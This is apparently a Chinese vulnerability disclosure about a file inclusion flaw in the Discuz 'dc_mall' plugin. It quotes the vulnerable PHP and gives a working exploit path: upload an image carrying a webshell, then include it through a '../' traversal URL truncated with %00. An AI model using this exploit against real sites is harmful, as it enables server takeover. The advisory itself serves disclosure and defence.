discuz某插件设计缺陷可前台getshell(有较强条件限制)
漏洞详情
披露状态:
2015-08-04: 细节已通知厂商并且等待厂商处理中
2015-08-09: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-10-03: 细节向核心白帽子及相关领域专家公开
2015-10-13: 细节向普通白帽子公开
2015-10-23: 细节向实习白帽子公开
2015-11-07: 细节向公众公开
简要描述:
设计缺陷
详细说明:
#discuz积分商城插件任意文件包含(最新版测试)
#插件信息:
http://**.**.**.**/?@dc_mall.plugin
官方安装量3000+ (已经不少了吧)
关键字搜一下:
#折腾了半天才搞定成功云平台服务。。终于可以装插件了。。。
#测试环境:
PHP 版本为: 5.2.9-2
magic_quotes_gpc = off
#先看看代码吧:
dc_mall.inc.php(漏洞文件)
<?php if(!defined('IN_DISCUZ')) { exit('Access Denied'); } $_lang = lang('plugin/dc_mall'); $action = $_GET['action'] ? $_GET['action'] : 'index'; $version ='Ver 1.1.1'; $cvar = $_G['cache']['plugin']['dc_mall']; $file = DISCUZ_ROOT.'./source/plugin/dc_mall/module/index/'.$action.'.inc.php';//action参数未过滤直接传入$file 后面的用%00截断即可包含任意文件 if (!file_exists($file)||!$cvar['open']) showmessage('undefined_action'); $usercredit = getuserprofile('extcredits'.$cvar['credit']); $mallnav = C::t('#dc_mall#dc_mall_sort')->getdata(); $sortid = dintval($_GET['sortid']); if(empty($mallnav[$sortid]))$sortid=0; @include $file; $croppath = DISCUZ_ROOT.'./source/plugin/dc_mall/data/cron.php'; $cronupdate = @include $croppath; if(TIMESTAMP-$cronupdate['timestamp']>$cvar['autotime']*60){ require_once DISCUZ_ROOT.'./source/plugin/dc_mall/cache/cache_mallinfo.php'; build_cache_plugin_mallinfo(); $configdata = 'return '.var_export(array('timestamp'=>TIMESTAMP), true).";/n/n"; if($fp = @fopen($croppath, 'wb')) { fwrite($fp, "<?php/n//plugin mall temp upgrade check file, DO NOT modify me!/n//Identify: ".md5($configdata)."/n/n$configdata?>"); fclose($fp); } } include template('dc_mall:index/'.$action); ?>
#包含测试
怎么shell就不用多说了,前台上传带马图片,在直接用包含就成功
**.**.**.**/plugin.php?action=../../../../../data/attachment/forum/201508/02/153404ryzl4yytgyz4yjrl.jpg%00&id=dc_mall
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论